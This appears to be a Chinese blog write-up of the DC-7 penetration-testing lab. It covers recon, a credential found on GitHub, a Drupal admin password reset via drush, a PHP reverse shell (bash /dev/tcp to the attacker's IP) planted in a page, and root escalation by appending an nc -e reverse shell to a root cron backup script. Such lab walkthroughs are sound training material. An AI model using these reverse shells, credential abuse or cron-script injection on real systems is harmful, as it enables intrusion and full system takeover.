当前位置: 首页 > article >正文

DC-7靶机渗透测试全过程

目录

前期准备

一、渗透测试

1.IP地址查询

2.端口地址收集

3.网页信息收集

社工收集信息

Drush直接修改账户密码

下载PHP插件

反弹shell

二、总结


前期准备

攻击机 : kali  windows11

靶机: DC-7(调至NAT模式)

一、渗透测试

1.IP地址查询

┌──(root㉿kali)-[~]
└─# arp-scan -l

通过比对MAC地址,得到靶机的IP地址  192.168.105.167

2.端口地址收集

┌──(root㉿kali)-[~]
└─# nmap -sV -p- 192.168.105.167
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-14 19:09 CST
Nmap scan report for 192.168.105.167 (192.168.105.167)
Host is up (0.00066s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))

发现http服务和ssh服务,且都是打开的

3.网页信息收集

登录80端口

DC - 7 引入了一些 “新” 概念,但我就留给你自己去琢磨它们是什么啦。:-)

 

虽然这个挑战并非那么具有技术性,但如果你想借助暴力破解或者字典攻击,那你很可能不会成功。

 

你得做的是跳出常规思维。

 

要远远地跳出常规思维。:-)

相当于给了一个flag,这里提示暴力破解应该是不行的,并且按一般的思路来的话,估计很难得到账号或者密码

Wappalyzer

看到了熟悉的cms——Drupal 版本为8,在探测的同时用dirsearch扫一下目录。。。除了登录框基本没扫出来啥

到这里真的不知道“新”方法是什么了,就去看了别的师傅的wp,发现是用到了社工信息搜集

社工收集信息

通过这个信息来挖掘用户信息,成功在github中找到了相关信息

 

此时可以进行代码审计查功能点漏洞或者是直接找隐藏起来的信息,看了一下发现在config.php中,找到了一个用户的信息

账号:dc7user   密码:MdR3xOgB7#dW

???登录不上去?但用SSH可以登录上去(也许该用户被禁用于网页登录了?之后来搞清楚下)

┌──(root㉿kali)-[~]
└─# ssh dc7user@192.168.105.167
The authenticity of host '192.168.105.167 (192.168.105.167)' can't be established.
ED25519 key fingerprint is SHA256:BDWqBUcitB8KKGYDyoeZkt2C/aXhZ7gi5xSEtOSB+Rk.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.105.167' (ED25519) to the list of known hosts.
dc7user@192.168.105.167's password:
Linux dc-7 4.9.0-9-amd64 #1 SMP Debian 4.9.168-1+deb9u5 (2019-08-11) x86_64The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have new mail.
Last login: Fri Aug 30 03:10:09 2019 from 192.168.0.100
dc7user@dc-7:~$

看仔细,这里显示有一篇新邮件,但可以先看看自己下面的目录

dc7user@dc-7:~$ ls
backups  mbox
dc7user@dc-7:~/backups$ ls
website.sql.gpg  website.tar.gz.gpg

GPG(GNU Privacy Guard)是用于加密、签名和验证数据的工具,GPG 文件通常与 GPG 加密、签名操作相关 。

 然后来看看邮件

dc7user@dc-7:~$ mail
"/var/mail/dc7user": 5 messages 5 new
>N   1 Cron Daemon        Fri Feb 14 21:19  22/800   Cron <root@dc-7> /opt/scN   2 Cron Daemon        Fri Feb 14 21:35  21/729   Cron <root@dc-7> /opt/scN   3 Cron Daemon        Fri Feb 14 21:46  21/729   Cron <root@dc-7> /opt/scN   4 Cron Daemon        Fri Feb 14 22:01  21/729   Cron <root@dc-7> /opt/scN   5 Cron Daemon        Fri Feb 14 22:16  21/729   Cron <root@dc-7> /opt/sc
?

 这里给了路径,看一下是什么邮件

dc7user@dc-7:~$ cat /var/mail/dc7user
From root@dc-7 Fri Feb 14 21:19:40 2025
Return-path: <root@dc-7>
Envelope-to: root@dc-7
Delivery-date: Fri, 14 Feb 2025 21:19:40 +1000
Received: from root by dc-7 with local (Exim 4.89)(envelope-from <root@dc-7>)id 1titjM-0000X7-QJfor root@dc-7; Fri, 14 Feb 2025 21:19:37 +1000
From: root@dc-7 (Cron Daemon)
To: root@dc-7
Subject: Cron <root@dc-7> /opt/scripts/backups.sh
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Cron-Env: <PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin>
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <LOGNAME=root>
Message-Id: <E1titjM-0000X7-QJ@dc-7>
Date: Fri, 14 Feb 2025 21:19:36 +1000rm: cannot remove '/home/dc7user/backups/*': No such file or directory
Database dump saved to /home/dc7user/backups/website.sql               [success]From root@dc-7 Fri Feb 14 21:35:06 2025
Return-path: <root@dc-7>
Envelope-to: root@dc-7
Delivery-date: Fri, 14 Feb 2025 21:35:06 +1000
Received: from root by dc-7 with local (Exim 4.89)(envelope-from <root@dc-7>)id 1tityJ-0002M1-KGfor root@dc-7; Fri, 14 Feb 2025 21:35:03 +1000
From: root@dc-7 (Cron Daemon)
To: root@dc-7
Subject: Cron <root@dc-7> /opt/scripts/backups.sh
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Cron-Env: <PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin>
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <LOGNAME=root>
Message-Id: <E1tityJ-0002M1-KG@dc-7>
Date: Fri, 14 Feb 2025 21:35:03 +1000Database dump saved to /home/dc7user/backups/website.sql               [success]From root@dc-7 Fri Feb 14 21:46:11 2025
Return-path: <root@dc-7>
Envelope-to: root@dc-7
Delivery-date: Fri, 14 Feb 2025 21:46:11 +1000
Received: from root by dc-7 with local (Exim 4.89)(envelope-from <root@dc-7>)id 1tiu93-0003hz-E7for root@dc-7; Fri, 14 Feb 2025 21:46:09 +1000
From: root@dc-7 (Cron Daemon)
To: root@dc-7
Subject: Cron <root@dc-7> /opt/scripts/backups.sh
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Cron-Env: <PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin>
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <LOGNAME=root>
Message-Id: <E1tiu93-0003hz-E7@dc-7>
Date: Fri, 14 Feb 2025 21:46:09 +1000Database dump saved to /home/dc7user/backups/website.sql               [success]From root@dc-7 Fri Feb 14 22:01:13 2025
Return-path: <root@dc-7>
Envelope-to: root@dc-7
Delivery-date: Fri, 14 Feb 2025 22:01:13 +1000
Received: from root by dc-7 with local (Exim 4.89)(envelope-from <root@dc-7>)id 1tiuNb-0003ic-NAfor root@dc-7; Fri, 14 Feb 2025 22:01:11 +1000
From: root@dc-7 (Cron Daemon)
To: root@dc-7
Subject: Cron <root@dc-7> /opt/scripts/backups.sh
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Cron-Env: <PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin>
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <LOGNAME=root>
Message-Id: <E1tiuNb-0003ic-NA@dc-7>
Date: Fri, 14 Feb 2025 22:01:11 +1000Database dump saved to /home/dc7user/backups/website.sql               [success]From root@dc-7 Fri Feb 14 22:16:10 2025
Return-path: <root@dc-7>
Envelope-to: root@dc-7
Delivery-date: Fri, 14 Feb 2025 22:16:10 +1000
Received: from root by dc-7 with local (Exim 4.89)(envelope-from <root@dc-7>)id 1tiuc4-0003jF-Rzfor root@dc-7; Fri, 14 Feb 2025 22:16:08 +1000
From: root@dc-7 (Cron Daemon)
To: root@dc-7
Subject: Cron <root@dc-7> /opt/scripts/backups.sh
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Cron-Env: <PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin>
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <LOGNAME=root>
Message-Id: <E1tiuc4-0003jF-Rz@dc-7>
Date: Fri, 14 Feb 2025 22:16:08 +1000Database dump saved to /home/dc7user/backups/website.sql               [success]

总结

 

这些邮件记录了 /opt/scripts/backups.sh 脚本的执行情况,该脚本的主要功能是进行数据库备份,备份文件保存到 /home/dc7user/backups/website.sql。脚本在执行过程中可能会尝试先清空备份目录,但最初执行时该目录可能不存在。从日志时间来看,该脚本会定期执行,具体的执行周期可以通过查看 /etc/crontab 或者 root 用户的 crontab 文件来确定。

主要是有两个文件

/opt/scripts/backups.sh

/home/dc7user/backups/website.sql

看一下backups.sh文件

dc7user@dc-7:~$ ls -l /opt/scripts/backups.sh
-rwxrwxr-x 1 root www-data 520 Aug 29  2019 /opt/scripts/backups.sh

显示只有root用户以及www-data组的才有写入的权限,其他只有读和执行的权限

dc7user@dc-7:~$ cat /opt/scripts/backups.sh
#!/bin/bash
rm /home/dc7user/backups/*
cd /var/www/html/
drush sql-dump --result-file=/home/dc7user/backups/website.sql
cd ..
tar -czf /home/dc7user/backups/website.tar.gz html/
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.sql
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.tar.gz
chown dc7user:dc7user /home/dc7user/backups/*
rm /home/dc7user/backups/website.sql
rm /home/dc7user/backups/website.tar.gz
You have new mail in /var/mail/dc7user

 请AI来帮我们分析一下,其中两条命令我没见过,一个是 drush 一个是 gpg,但是gpg在我们之前已经了解过了,这个 drush是什么意思?

drush 是 Drupal 网站的命令行工具,用于管理和操作 Drupal 网站。

这样总结一下信息:backups.sh是可以我们用于提权的,但要利用backups.sh文件(写入shell)

就只能先得到www-data的shell,而要得到www-data的shell的话需要账户登录。。。通过看/home目录下发现没有其他用户了,既然drush是Drupal网站的命令行管理工具,看看有什么命令可以利用,发现一个命令

Drush直接修改账户密码

dc7user@dc-7:~$ drush user-password admin --password="admin"
Command user-password needs a higher bootstrap level to run - you will need to invoke drush from a more functional Drupal environment to  [error]
run this command.
The drush command 'user-password admin' could not be executed.  

可以用于直接修改admin账号的密码,但这个目录环境不行,一般网页的话是在/var/www/html下

dc7user@dc-7:/var/www/html$ drush user-password admin --password="admin"
Changed password for admin                                                                                                                

成功修改密码! 登录网页

现在要在网页中找个shell弹出来,还记得这个页面

这是在登录时就有的,应该是文件包含,如果能在此加入一段反弹shell,然后后续再包含此文件时被服务器解析说不定就能弹shell

<?phpsystem("bash -c 'bash -i >& /dev/tcp/192.168.105.148/5555 0>&1'");

显示只能是HTML来保存,看看有没有解析PHP的插件

下载PHP插件

访问AI给的网站,直接搜搜PHP

点击往下滑

 

 点击下载就可以了,然后下载完后回到靶机web页面,点击插件

再把刚刚下载的文件导入就行了,但我这里导入会显示暂时出错无法导入,看到上面那个URL,直接输入URL应该也行,复制刚刚文件的下载链接

还是显示下载错误。。。只能看看别的师傅的URL了

https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz

发现这个URL就能成功下载好

再拉到下面勾选一下这个

 

反弹shell

好,接下来看看能不能解释为PHP,点击编辑我们之前的那个文章

换为PHP code,然后点保存,再次访问网站时,发现还是没能弹shell,再瞅一眼文章

这里显示被转义了,可能是前面的无关内容太多了?只添加这句

此时就发现成功反弹shell了

┌──(root㉿kali)-[~]
└─# nc -lvp 5555
listening on [any] 5555 ...
connect to [192.168.105.148] from 192.168.105.167 [192.168.105.167] 42202
bash: cannot set terminal process group (556): Inappropriate ioctl for device
bash: no job control in this shell
www-data@dc-7:/var/www/html$

好的,回想一下之前我们的操作,我们需要root或者www-data来执行backups.sh来进行提权,因为从前面的邮件可以看出,root会定时执行backups.sh,那就让backups.sh包含反弹shell,到时间就会自动获得root的权限

www-data@dc-7:/opt/scripts$ echo "nc -e /bin/bash/ 192.168.105.148 5556" >>backups.sh

然后此时等待就可以得到root的shell了,但我的shell只能持续很短一段时间,不知道什么原因

二、总结

本次的靶机学习让我接触到了很多“不一样”的思路,回想一下,包括:社工信息搜集、一些网站配备的命令行工具的了解、通过下载插件来满足自己的需求,这些思路对我来说都是蛮新的,也参考了很多师傅的wp(因为实在是不会--_--|),没有解决问题的头绪。我在打靶机的时候,可能并不会去注意Drush命令工具(虽然会让AI给我解释,但是并不会想到要去利用它),然后关于插件,一开始登录进去之后,我第一个想的就是找个插件漏洞,但发现没有插件。。。说到底就是不情愿去看找网页一些可能出现漏洞的功能点,其实说起来,该网站“表面上”是不会出现什么漏洞的,而是想到“如果这个写入的功能能被解释为PHP就好了”才能够利用起来。希望我以后能够戒骄戒躁吧

 

相关文章:

DC-7靶机渗透测试全过程

目录 前期准备 一、渗透测试 1.IP地址查询 2.端口地址收集 3.网页信息收集 社工收集信息 Drush直接修改账户密码 下载PHP插件 反弹shell 二、总结 前期准备 攻击机 &#xff1a; kali windows11 靶机&#xff1a; DC-7(调至NAT模式) 一、渗透测试 1.IP地址查询 …...

什么是服务的雪崩、熔断、降级的解释以及Hystrix和Sentinel服务熔断器的解释、比较

1.什么是服务雪崩&#xff1f; 定义&#xff1a;在微服务中&#xff0c;假如一个或者多个服务出现故障&#xff0c;如果这时候&#xff0c;依赖的服务还在不断发起请求&#xff0c;或者重试&#xff0c;那么这些请求的压力会不断在下游堆积&#xff0c;导致下游服务的负载急剧…...

解决IDEA报错:java 找不到符号

问题&#xff1a;IIDEA编译项目一直报 例如 java: 找不到符号 符号: 方法 getUserId()异常 的错误 解决方法&#xff1a; 1、刷新maven 2、clean package...

基于SpringBoot的医院药房管理系统【源码+答辩PPT++项目部署】高质量论文1-1.5W字

作者简介&#xff1a;✌CSDN新星计划导师、Java领域优质创作者、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和学生毕业项目实战,高校老师/讲师/同行前辈交流。✌ 主要内容&#xff1a;&#x1f31f;Java项目、Python项目、前端项目、PHP、ASP.NET、人工智能…...

Ubuntu22.04通过Docker部署Jeecgboot

程序发布环境包括docker、mysql、redis、maven、nodejs、npm等。 一、安装docker 1、用如下命令卸载旧Docker: for pkg in docker.io docker-doc docker-compose docker-compose-v2 podman-docker containerd runc; do sudo apt-get remove $pkg; done 2、安装APT环境依赖包…...

基于Ubuntu+vLLM+NVIDIA T4高效部署DeepSeek大模型实战指南

一、 前言&#xff1a;拥抱vLLM与T4显卡的强强联合 在探索人工智能的道路上&#xff0c;如何高效地部署和运行大型语言模型&#xff08;LLMs&#xff09;一直是一个核心挑战。尤其是当我们面对资源有限的环境时&#xff0c;这个问题变得更加突出。原始的DeepSeek-R1-32B模型虽…...

力扣 66.加一 (Java实现)

题目分析 给定一个数组&#xff0c;可以组成一个数字&#xff0c;将数字加一后&#xff0c;返回新数组 思路分析 首先跟着题目思路走&#xff0c;将数组按位*10可以得到数字&#xff0c;再加一&#xff0c;加一后按位%10&#xff0c;可以得到新的数组。但是此处数字会过大&…...

Deep seek学习日记1

Deepseek最强大的就是它的深度思考&#xff0c;并且展现了它的思考过程。 五种可使用Deep seek的方式&#xff08;应该不限于这五种&#xff0c;后续嵌入deepseek的应该更多&#xff0c;多了解一点因为官网容易崩~~&#xff09;&#xff1a; 1.deep seek官网 2.硅基流动silicon…...

npm 私服使用介绍

一、导读 本文主要介绍 npm 私服的使用&#xff0c;至于 npm 私服搭建的过程&#xff0c;可以看本人之前的文章《Docker 部署 verdaccio 搭建 npm 私服》 二、前置条件 npm私服地址&#xff1a;http://xxx.xxx.xxx.xxx:port/ 三、本地 npm 源切换 使用nrm&#xff0c;可以方…...

github用户名密码登陆失效了

问题&#xff1a; git push突然推代码需要登陆&#xff0c;但是用户名和密码正确输入后&#xff0c;却提示403 git push# Username for https://github.com: **** #Password for https://gyp-programmergithub.com: #remote: Permission to gyp-programmer/my-app.git denie…...

SpringCloud整合seata,XA、AT、TCC、SAGA模式

参考资料&#xff1a; SpringCloud-Alibaba搭建 SpringCloud-nacos整合 Seata部署 参考demo&#xff08;及学习资料&#xff09; seata官网 参考视频​​​​​c&#xff08;AT模式的UNDO_LOG讲的可能有点问题&#xff0c;但是很通俗易懂&#xff09; 参考视频2&#xff…...

centos8.0 docker ngnix

问题1&#xff1a;镜像拉取不下来&#xff0c;用DAO云加速器 问题2&#xff1a;ngnix镜像不能运行&#xff0c; 无法检索OCI运行时错误 &#xff0c;更新包yum update libseccomp 问题3&#xff1a;docker run -v 目录有ngninx.conf 或conf.d 等 .特殊字符&#xff0c;报无效格…...

案例-06.部门管理-根据ID查询

一.根据ID查询-接口文档 二.根据ID查询-Controller层 package com.gjw.controller;/*** 部门管理Controller*/import com.gjw.anno.Log; import com.gjw.pojo.Dept; import com.gjw.pojo.Result; import com.gjw.service.DeptService; import com.gjw.service.impl.DeptServi…...

moveable 一个可实现前端海报编辑器的 js 库

目录 缘由-胡扯本文实验环境通用流程1.基础移动1.1 基础代码1.1.1 data-* 解释 1.2 操作元素创建1.3 css 修饰1.4 cdn 引入1.5 js 实现元素可移动1.6 图片拖拽2.缩放3.旋转4.裁剪 懒得改文案了&#xff0c;海报编辑器换方案了&#xff0c;如果后面用别的再更。 缘由-胡扯 导火…...

【愚公系列】《Python网络爬虫从入门到精通》012-字符串处理

标题详情作者简介愚公搬代码头衔华为云特约编辑,华为云云享专家,华为开发者专家,华为产品云测专家,CSDN博客专家,CSDN商业化专家,阿里云专家博主,阿里云签约作者,腾讯云优秀博主,腾讯云内容共创官,掘金优秀博主,亚马逊技领云博主,51CTO博客专家等。近期荣誉2022年度…...

shell脚本备份MySQL数据库和库下表

目录 注意&#xff1a; 一.脚本内容 二.执行效果 三.创建定时任务 注意&#xff1a; 以下为对MySQL5.7.42版本数据库备份shell脚本参考运行备份的机器请确认mysqldump版本>5.7&#xff0c;否则备份参数--set-gtid-purgedOFF无效&#xff0c;考虑到一般数据库节点和备份…...

java处理pgsql的text[]类型数据问题

背景 公司要求使用磐维数据库&#xff0c;于是去了解了这个是基于PostgreSQL构建的&#xff0c;在使用时有场景一条图片数据中可以投放到不同的页面&#xff0c;由于简化设计就放在数组中&#xff0c;于是使用了text[]类型存储&#xff1b;表结构 #这是一个简化版表结构&…...

MongoDB 架构设计:深入解析核心组件与工作原理

MongoDB 架构设计&#xff1a;深入解析核心组件与工作原理 MongoDB 作为一个高性能、易扩展的 NoSQL 数据库&#xff0c;其优秀的架构设计是其成功的关键。本文将深入解析 MongoDB 的架构设计&#xff0c;详细讲解其核心组件和工作原理&#xff0c;帮助您更好地理解和使用 Mon…...

【PostgreSQL】PG在windows下的安装

一、准备 通过官网下载安装文件&#xff0c;官方下载路径如下&#xff1a; https://www.postgresql.org/download/windows/ 二、安装 双击postgresql-17.3-1-windows-x64.exe文件&#xff0c;启动安装&#xff0c;进入安装步骤&#xff0c;点击Next 选择PG安装路径&#xff…...

掌握SQL多表连接查询_轻松处理复杂数据关系

1. 引言 1.1 数据库中的多表关系概述 在实际应用中&#xff0c;数据库通常由多个表组成&#xff0c;每个表存储不同类型的数据。例如&#xff0c;在一个电子商务系统中&#xff0c;可能会有用户表、订单表、产品表等。这些表之间存在关联关系&#xff0c;通过多表连接查询可以…...

MVC模式和MVVM模式

目录 一、MVC模式和MVVM模式 1. MVC模式 2. MVVM 模式 3.在Qt中的应用示例 4.总结 二、MVC与MVVM模式的共同点和区别 1.共同点 2.区别 3.交互流程 4.总结 MVC&#xff08;Model-View-Controller&#xff09;和MVVM&#xff08;Model-View-ViewModel&#xff09;是两种…...

Macos机器hosts文件便捷修改工具——SwitchHosts

文章目录 SwitchHosts软件下载地址操作添加方案切换方案管理方案快捷键 检测 SwitchHosts SwitchHosts 是一款 Mac 平台上的免费软件&#xff0c;它可以方便地管理和切换 hosts 文件&#xff0c;支持多种 hosts 文件格式。 软件下载地址 SwitchHosts 操作 添加方案 添加 …...

mysqld_exporter的搭建

1、创建/data/apps目录&#xff0c;并且下载mysql_exporte mkdir -p /data/apps ​ cd /data/apps ​ wget https://githubfast.com/prometheus/mysqld_exporter/releases/download/v0.12.1/mysqld_exporter-0.12.1.linux-amd64.tar.gz 或者 wget https://github.com/promethe…...

CentOS上安装WordPress

在CentOS上安装WordPress是一个相对直接的过程&#xff0c;可以通过多种方法完成&#xff0c;包括使用LAMP&#xff08;Linux, Apache, MySQL, PHP&#xff09;栈或使用更现代的LEMP&#xff08;Linux, Nginx, MySQL, PHP&#xff09;栈。 我选择的是&#xff08;Linux, Nginx…...

【数据结构】 栈和队列

在计算机科学的世界里&#xff0c;数据结构是构建高效算法的基础。栈&#xff08;Stack&#xff09;和队列&#xff08;Queue&#xff09;作为两种基本且重要的数据结构&#xff0c;在软件开发、算法设计等众多领域都有着广泛的应用。今天&#xff0c;我们就来深入探讨一下栈和…...

微服务限流策略与性能优化全解析

一、服务瓶颈评估实例 1.1 背景介绍 本文我用我工作中实际的一个电商营销中台系统的订单服务来阐述。此微服务数据库采用 MySQL&#xff0c;配置为 8 核 32G。订单服务部署于一组服务器集群&#xff0c;考虑到高可用性&#xff0c;至少配置 3 个节点&#xff0c;每个节点服务…...

Windows环境搭建ES集群

搭建步骤 下载安装包 下载链接&#xff1a;https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-7.17.27-windows-x86_64.zip 解压 解压并复制出3份 es-node1配置 config/elasticsearch.yml cluster.name: xixi-es-win node.name: node-1 path.data: D:\\wor…...

qt中实现QListWidget列表

FR:徐海涛&#xff08;hunkxu)...

大模型参数规模解析:32B中的“B“代表什么?如何影响AI性能?

以下是优化后的技术笔记整理&#xff0c;包含关键知识点解析和行业应用案例&#xff1a; 大模型参数规模解析&#xff1a;32B中的"B"代表什么&#xff1f;如何影响AI性能&#xff1f; 一、参数单位解读 B Billion&#xff08;十亿&#xff09;&#xff1a;在AI模…...

Docker+Ollama+WebUI+AnythingLLM,构建企业本地AI大模型

文章目录 概要Ollama部署WebUI部署AnythingLLM部署Docker-Compose部署管理所有容器小结参考文章 概要 Ollama 是一个强大的大模型提供者&#xff0c;它通过开源的方式&#xff0c;为开发者和企业提供了先进的大型语言模型&#xff08;LLM&#xff09;。这些模型拥有处理和生成…...